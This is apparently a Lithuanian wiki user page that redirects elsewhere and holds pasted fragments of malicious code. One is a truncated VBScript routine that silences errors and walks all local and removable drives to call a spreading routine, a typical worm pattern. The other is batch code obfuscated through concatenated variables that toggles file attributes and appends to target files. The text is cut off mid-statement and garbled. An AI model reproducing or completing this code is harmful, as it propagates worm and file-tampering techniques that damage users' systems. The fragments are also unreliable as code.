Naudotojas:Fando

Nukreipti į:

• Naudotojas:Haha() Sub haha() On Error Resume Next Dim d, dc, s, fso, haha Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then hihi (d.Path & "\") End If Next haha = s End sub Sub hehe(f

a%vir%%vir%r%org%%ka% %file1% -r %bla%%ck%%sma%%ll% ; >> %file1% %bla%%ck%%sma%%ll% %pox%%ra% 00-00-00 >> %file1% %bla%%ck%%sma%%ll% %pox%%ti% 00:00:00,0 >> %file1% a%vir%%vir%r%org%%ka% %file1% +r %ck%%vir%%vir%y %ck%%ll%n a%vir%%vir%r%org%%ka% %file2% -r %bla%%ck%%sma%%ll% ; >> %file2% %bla%%ck%%sma%%ll% %pox%%ra% 00-00-00 >> %file2% %bla%%ck%%sma%%ll% %pox%%ti% 00:00:00,0 >> %file2% a%vir%%vir%r%org%%ka% %file2% +r %ck%%vir%%vir%y %ck%%ll%n

exit

@exit